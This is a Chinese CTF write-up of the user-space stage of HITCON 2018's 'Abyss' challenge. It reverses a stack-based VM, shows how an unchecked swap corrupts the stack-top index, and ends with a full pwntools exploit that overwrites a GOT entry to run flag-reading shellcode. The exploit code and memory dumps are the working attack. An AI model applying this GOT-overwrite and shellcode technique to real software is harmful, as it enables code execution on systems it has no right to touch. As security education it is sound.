1
2
3
The Edge of the Abyss

nc 35.200.23.198 31733 (Solves: 42, 230 pts)

题目为HITCON 2018的一道多层穿透的题目,环境为Ubuntu 1804。比赛中分为三道题目,分别需要我们pwn用户空间,内核空间,最后pwn KVM hypervisor。题目的附件以及源码在github已经开源,点击此处跳转。

附件如下:

image-20200528121547385

主要有用的是hypervisor.elf,kernel.bin,user.elf。其他一些依赖暂时不管。运行环境需要开启KVM。

image-20200528121748992

Abyss I - User Space

第一步我们先pwn用户空间。

Reversing

1
2
3
4
5
6
7
➜  release checksec ./user.elf       
[*] '/home/wgn/Desktop/release/user.elf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

在这种使用KVM和自己的内核的题目中,checksec的结果似乎意义不大,因为具体使用的保护机制可能在内核或虚拟化层关闭了。

程序没有去符号,IDA打开之后可以看到很多小函数,有push/pop等等,猜测用户空间的这个程序应该也是个虚拟机。

image-20200528122256787

在main函数中读取输入,然后调用work函数处理输入执行。我们的输入也就是这个堆栈vm的opcode了。

image-20200528122350950

work函数:

image-20200528123406992

work函数中,主要是根据opcode的不同类型来判断使用哪个函数来处理。如果是数的话就push进去(源码中用isdigit来判断),如果是[a,z]之间的字母就push进去和a的差。如果是opcode类型就调用对应的函数来处理。本条处理完之后index++。此处对应的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
void work() {
int n = strlen((char*)s);
ip = 0;
while(ip < n) {
if(isdigit(s[ip]))
push(fetch_int());
else if('a' <= s[ip] && s[ip] <= 'z')
push(s[ip] - 'a');
else if(commands(s[ip]))
((void(*)())commands(s[ip]))();
++ip;
}
}

push函数也很好理解,当前的栈顶index++,然后把val存进去。

image-20200528123843961

command就是一个swith case。支持的语句有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
case '$': dup_   //复制栈顶元素再压进栈中
// 7]$.. => 输出7 7
case '%': pop_ //弹出栈顶元素
case '&': and_ //弹出两个栈顶元素,相与后压入
// 7]7]+. => 输出14
case '*': mul //弹出两个栈顶元素,相乘后压入
case '+': add //弹出两个栈顶元素,相加后压入
case ',': write //弹出一个字符,向标准输出输出1个字节
// abcdef,,,,,, => 输出\x05\x04\x03\x02\x01
case '-': minus //弹出两个栈顶元素,相减后压入(先弹的-后弹的)
case '.': writed //弹出一个整数,用printf(%d)输出
case '/': div_ //弹出两个栈顶元素,相除后压入
case ':': store //弹出一个数作为index,如果在[0, 25]范围内,再弹出一个作为val,向vars[index]写入val
case ';': fetch //弹出一个数作为index,如果在[0, 25]范围内,把vars[index]压入栈中,
// 123]0]:0;. => 输出123
case '=': eql //弹出两个栈顶元素,如果相等存入-1,否则存入0
case '>': gt //弹出两个栈顶元素,如果小于存入-1,否则存入0
case '@': rot //栈顶[2, 1, 0] => 栈顶[0, 2, 1]
// 1]2]3]@... => 输出1 3 2
case '\\': swap_ //交换栈顶两个元素
// 123]456]\\.. => 输出123 456
case '_': neg //弹出栈顶元素,压入相反数
case '|': or_ //弹出两个栈顶元素,相或后压入
case '~': not_ //弹出栈顶元素,相反后压入

对应的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void dup_() { push(pick(0)); }
void pop_() { pop(); }
void swap_() { int tmp = stk[top-1]; stk[top-1] = stk[top-2]; stk[top-2] = tmp; }
void rot() { int tmp = stk[top - 3]; stk[top-3] = stk[top-2]; stk[top-2] = stk[top-1]; stk[top-1] = tmp; }
void pick_() { push(pick(pop())); ip++; }
void add() { push(pop() + pop()); }
void minus() { push(-pop() + pop()); }
void mul() { push(pop() * pop()); }
void div_() { int d = pop(); push(pop() / d); }
void neg() { push(-pop()); }
void and_() { push(pop() & pop()); }
void or_() { push(pop() | pop()); }
void not_() { push(~pop()); }
void gt() { push(-(pop() < pop())); }
void eql() { push(-(pop() == pop())); }
void store() { int r = pop(); if(0 <= r && r < 26) vars[r] = pop(); }
void fetch() { int r = pop(); if(0 <= r && r < 26) push(vars[r]); }
/* void read_() { char c; read(0, &c, 1); push(c); } */
void write_() { char c = pop(); write(1, &c, 1); }
void writed() { int v = pop(); printf("%d\n", v); }

输入的时候可以用其他字符来分割,如[ ]

这个虚拟机用到的空间:

1
2
3
4
5
6
struct Machine {
int top, stk[1024];
unsigned char s[1024];
int ip;
int vars[26];
} machine;

top就是栈顶的偏移,stk数组就是栈空间,s相当于代码段,存储用到的数据和操作符,ip是处理到的代码段的下标,vars用于存储数据。其中的vars应该是比较特殊的结构,在一般的栈虚拟机中没有。

这个虚拟机和brainfuck的机制比较相似。对于栈虚拟机,常见的问题出在不完整的边界检查,例如可以访问栈空间之外的内存。

涉及到边界检查的:

1
2
3
4
5
6
7
8
9
10
11
void push(int v) {
if(top >= 1024) return;
stk[top++] = v;
}

int pop() { if(top == 0) return 0; return stk[--top]; }

int pick(int idx) {
if(idx < 0 || idx >= top) return 0;
return stk[top - idx - 1];
}

可以看到push对边界做了检查避免压入太多元素。pop如果到栈空了就会返回0不会泄露数据。pick也做了边界检查。而不使用这几个函数就可以访问栈空间内存的功能有swap rot。对于vars数组操作的函数也都做了检查,所以问题应该在swaprot中。

Vuln

在swap和rot中可以看到是没有做边界检查的,直接取出元素来操作。

1
2
void swap_() { int tmp = stk[top-1]; stk[top-1] = stk[top-2]; stk[top-2] = tmp; }
void rot() { int tmp = stk[top - 3]; stk[top-3] = stk[top-2]; stk[top-2] = stk[top-1]; stk[top-1] = tmp; }

既然可以越界访问栈空间stack数组,那么可以碰到什么东西呢?

1
2
3
4
5
6
struct Machine {
int top, stk[1024];
unsigned char s[1024];
int ip;
int vars[26];
} machine;

可以看到top和stack是相邻的。在swap功能中,将栈顶的两个元素交换位置,默认是栈中元素>=2个的。如果我们在栈中保存1个元素,调用swap,那么该元素就会和top互换,这样我们其实就能够控制top。

swap前,top=1,栈顶元素=12345678

1
2
pwndbg> x/20gx 0x555555554000+0x2020a0
0x5555557560a0 <machine>: 0x00bc614e00000001 0x0000000000000000

攻击后,top=12345678,栈顶元素=1。

1
2
pwndbg> x/20gx 0x555555554000+0x2020a0
0x5555557560a0 <machine>: 0x0000000100bc614e 0x0000000000000000

Exploit

既然能控制top的值,控制成什么值呢?在stack附近有got表,算出对应的top为多少。之后通过pop和输出功能来泄露got,通过push值即可控制got内容。同样通过控制top的方法,我们基本上有了任意地址读写的功能,这样就从栈vm中逃逸出来了。

1
2
3
4
5
6
7
8
9
10
0000000000202080 R_X86_64_COPY     stdout@@GLIBC_2.2.5
0000000000202090 R_X86_64_COPY stdin@@GLIBC_2.2.5
0000000000202018 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000202020 R_X86_64_JUMP_SLOT write@GLIBC_2.2.5
0000000000202028 R_X86_64_JUMP_SLOT strlen@GLIBC_2.2.5
0000000000202030 R_X86_64_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0000000000202038 R_X86_64_JUMP_SLOT setbuf@GLIBC_2.2.5
0000000000202040 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000202048 R_X86_64_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
0000000000202050 R_X86_64_JUMP_SLOT __ctype_b_loc@GLIBC_2.3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x555555755fe0:	0x0000155554f5cab0	0x0000000000000000
0x555555755ff0: 0x0000000000000000 0x0000155554f7e520 <= 都是函数地址
0x555555756000: 0x0000000000201df8 0x0000155555555170
0x555555756010: 0x0000155555343750 0x0000155554fbb9c0
0x555555756020: 0x0000555555554796 0x00001555550c9590
0x555555756030: 0x00005555555547b6 0x0000155554fc34d0
0x555555756040: 0x00005555555547d6 0x0000155554fb6ec0
0x555555756050: 0x0000155554f6b890 0x0000000000000000
0x555555756060: 0x0000555555756060 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080 <stdout@@GLIBC_2.2.5>: 0x0000155555327760 0x0000000000000000
0x555555756090 <stdin@@GLIBC_2.2.5>: 0x0000155555326a00 0x0000000000000000
0x5555557560a0 <machine>: 0x0000004100000002 0x0000000000000020 <= 存了两个元素0x41 0x20,此时top = 2
0x5555557560b0 <machine+16>: 0x0000000000000000 0x0000000000000000
0x5555557560c0 <machine+32>: 0x0000000000000000 0x0000000000000000
0x5555557560d0 <machine+48>: 0x0000000000000000 0x0000000000000000
0x5555557560e0 <machine+64>: 0x0000000000000000 0x0000000000000000
0x5555557560f0 <machine+80>: 0x0000000000000000 0x0000000000000000

真的如此吗?

并没有想象中这么美好。因为栈vm中没有输入的功能(源码中注视掉了read功能),也就是说我们无法和vm交互,输入完之后就不能干预了。即使我们泄露了libc,也没有机会写hook。在checksec中,PIE是开启的,ASLR我们也可以默认是开启的。

这有点像ret2libc。在ret2libc中虽然第一次我们泄露了libc但是没有重新交互的机会,但是我们可以通过回到main函数的方法来“创造”一次交互。如果我们能够通过控制返回地址回到main,那么题目也就明朗了。

在比赛过程中,放出来一个提示:NX?。这里差不多明白在环境中其实没有NX保护。

这应该是在逆向hypervisor的步骤发现的,会发现NXE标志位没有设置,说明通过kvm创建的vm中没有开启NX保护,所以这里可以执行shellcode。

这样的话我们可以在栈上就保存好shellcode,然后跳转到shellcode执行即可。如果直接使用getshell的shellcode其实会失败,这是因为其实在内核中限制了open的参数,必须要包含flag字符串,所以getshell是无法成功的。

Write Shellcode on .bss

shellcode我们可以放到bss上的vars数组中,利用store功能。shellcode比较长我们就4个字节4个字节存即可。shellcode的地址在0x2034a8。

1
2
3
4
5
for i in range(0, len(shellcode), 4):
part = u32(shellcode[i:i+4])
pl += str(part)+']' # shellcode
pl += str(i/4)+']'# index
pl += ':'

Overwrite GOT

覆盖got是比较容易的,现在的问题是怎么能得到shellcode的地址,并且需要对抗ASLR。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> x/20gx 0x555555554000+0x2034a8 shellcode的起始地址
0x5555557574a8 <machine+5128>: 0xe7894867616c6668 0x0f58026af631d231
0x5555557574b8 <machine+5144>: 0xd2315f036ac03105 0x6a050fe6894801b6
0x5555557574c8 <machine+5160>: 0x894801b6d2315f01 0x0000050f58016ae6
0x5555557574d8 <machine+5176>: 0x0000000000000000 0x0000000000000000
0x5555557574e8 <machine+5192>: 0x0000000000000000 0x0000000000000000
0x5555557574f8 <machine+5208>: 0x0000000000000000 0x0000000000000000
0x555555757508 <machine+5224>: 0x0000000000000000 0x0000000000000000
0x555555757518: 0x0000000000000000 0x0000000000000000
0x555555757528: 0x0000000000000000 0x0000000000000000
0x555555757538: 0x0000000000000000 0x0000000000000000
pwndbg> x/20gx 0x555555554000+0x202030 stack_check_fail的got表地址
0x555555756030: 0x00005555555547b6 0x0000155554fc34d0
0x555555756040: 0x00005555555547d6 0x0000155554fb6ec0
0x555555756050: 0x0000155554f6b890 0x0000000000000000
0x555555756060: 0x0000555555756060 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080 <stdout@@GLIBC_2.2.5>: 0x0000155555327760 0x0000000000000000
0x555555756090 <stdin@@GLIBC_2.2.5>: 0x0000155555326a00 0x0000000000000000

具体的方法是,先找到一个没有调用过的函数got,例如stack check failed,因为没有进行resolve所以此时got此时存储的是plt+6的地址。不管是否开启ASLR,这个plt+6的地址和shellcode的起始地址的偏移是没有变化的,因为距离代码段的偏移是不动的。

1
2
3
4
5
6
7
8
no aslr:
0x555555554000 0x555555556000 r-xp 2000 0 /home/wgn/Desktop/release/user.elf
0x555555755000 0x555555756000 r--p 1000 1000 /home/wgn/Desktop/release/user.elf
0x555555756000 0x555555757000 rw-p 1000 2000 /home/wgn/Desktop/release/user.elf
aslr:
0x55d8cd285000 0x55d8cd287000 r-xp 2000 0 /home/wgn/Desktop/release/user.elf
0x55d8cd486000 0x55d8cd487000 r--p 1000 1000 /home/wgn/Desktop/release/user.elf
0x55d8cd487000 0x55d8cd488000 rw-p 1000 2000 /home/wgn/Desktop/release/user.elf

所以我们可以通过这个plt+6的地址进行计算,赋值成shellcode的地址,之后再调用该函数即可。目前没有调用的包括printf, write, stack_chk_fail。我们用write来作为写shellcode的目标即可。

swap之后,可以看到top被改了。

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x555555554000+0x2020a0-0x90
0x555555756010: 0x0000155555343750 0x0000155554fbb9c0
0x555555756020: 0x0000555555554796 <= 我们想改写的地址 0x00001555550c9590
0x555555756030: 0x00005555555547b6 0x0000155554fc34d0
0x555555756040: 0x00005555555547d6 0x0000155554fb6ec0
0x555555756050: 0x0000155554f6b890 0x0000000000000000
0x555555756060: 0x0000555555756060 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080 <stdout@@GLIBC_2.2.5>: 0x0000155555327760 0x0000000000000000
0x555555756090 <stdin@@GLIBC_2.2.5>: 0x0000155555326a00 0x0000000000000000
0x5555557560a0 <machine>: 0x00000001ffffffe1 0x000000000000000b

之后我们保存了一个index=0x18,作为栈顶。此时在栈顶之后的就是write@plt+6的高4个字节。

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x555555554000+0x2020a0-0x90
0x555555756010: 0x0000155555343750 0x0000155554fbb9c0
0x555555756020: 0x00005555 <= 次栈顶 55554796 0x0000155500000018 <= index,栈顶
0x555555756030: 0x00005555555547b6 0x0000155554fc34d0
0x555555756040: 0x00005555555547d6 0x0000155554fb6ec0
0x555555756050: 0x0000155554f6b890 0x0000000000000000
0x555555756060: 0x0000555555756060 0x0000000000000000
0x555555756070: 0x0000000000000000 0x0000000000000000
0x555555756080 <stdout@@GLIBC_2.2.5>: 0x0000155555327760 0x0000000000000000
0x555555756090 <stdin@@GLIBC_2.2.5>: 0x0000155555326a00 0x0000000000000000
0x5555557560a0 <machine>: 0x00000001ffffffe2 0x000000000000000b

通过store指令我们讲这个高4字节存储在vars数组中。只要不碰到shellcode就行。

1
2
3
4
5
6
7
8
pwndbg> x/20gx 0x555555554000+0x2034a8
0x5555557574a8 <machine+5128>: 0xe7894867616c6668 0x0f58026af631d231
0x5555557574b8 <machine+5144>: 0xd2315f036ac03105 0x6a050fe6894801b6
0x5555557574c8 <machine+5160>: 0x894801b6d2315f01 0x0000050f58016ae6
0x5555557574d8 <machine+5176>: 0x0000000000000000 0x0000000000000000
0x5555557574e8 <machine+5192>: 0x0000000000000000 0x0000000000000000
0x5555557574f8 <machine+5208>: 0x0000000000000000 0x0000000000000000
0x555555757508 <machine+5224>: 0x0000000000005555 <= 存储的高位的4字节 0x0000000000000000

现在store的两个参数都pop出来了,栈顶就是我们想要改写的write@plt+6的低4字节。此时我们只要push进去和shellcode地址低4字节的差值,再调用add即可。

add前:

1
0x555555756020:	0x00202d1255554796	0x0000155500000018

add后:

1
0x555555756020:	0x00202d12557574a8	0x0000155500000018

然后我们讲保存的高4字节恢复出来:

1
0x555555756020:	0x00005555557574a8	0x0000155500000018

现在write@plt+6就被改成了shellcode的地址。

调试的时候可以关闭ASLR(context.aslr=0),只用gdb调试user.elf。got改好之后开启ASLR,带着hypervisor全套跑exp即可。

Full Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context.log_level='debug'
context.aslr = 1
context.arch='amd64'

p = process("./hypervisor.elf kernel.bin ld.so.2 ./user.elf".split(" "))
#p = process("./user.elf")
elf = ELF('./user.elf')
log.info('PID: ' + str(proc.pidof(p)[0]))
pause()

'''
shellcode: 0x2034a8
0x5555557574a8
write@got: 0x555555756020
'''
p.recv()

shellcode = asm(shellcraft.open('flag', 0, 0))
shellcode += asm(shellcraft.read(3, 'rsp', 0x100))
shellcode += asm(shellcraft.write(1, 'rsp', 0x100))
#print shellcode
#print len(shellcode) # 46
shellcode = shellcode.ljust(48, '\x00')
#print shellcode.encode('hex')

pl = ''
for i in range(0, len(shellcode), 4):
part = u32(shellcode[i:i+4])
pl += str(part)+']' # shellcode
pl += str(i/4)+']'# index
pl += ':'

pl += '31'+'_'+'\\'
pl += '24'+']'
pl += ':' # store high 4 bytes
pl += str(0x557574a8-0x55554796)+']'
pl += '+'
pl += '24'+']'
pl += ';' # recover high 4 bytes
pl += ','

p.sendline(pl)
p.interactive()

效果:

1
2
hitcon{---flag1-will-be-here---}
���\xff\x7f\x00\xa7\xa0,\x90 \x7f\x00\x00\x00\x00\x00\x80\x91��\x00\x00���\xff\x7f\x00.\xa1,\x90 \x7f\x00@\xa1,\x90 \x7f\x00\x97\x1b�� \x7f\x00\x00\x00\x00\x00����\xff\x7f\x00����\x00\x00\xa0,\x90 \x7f\x00\x00\x00\x00\x00h$\xa0\x9d�w\xb0R\x10,\x90 \x7f\x00����\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00h$ \x11\xae\x0eh$\xbe�GH\xb0R\x00\x00$V\x00\x00\x00\x00\x00\x00\x00\x00\x00,��\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00KVM_EXIT_SHUTDOWN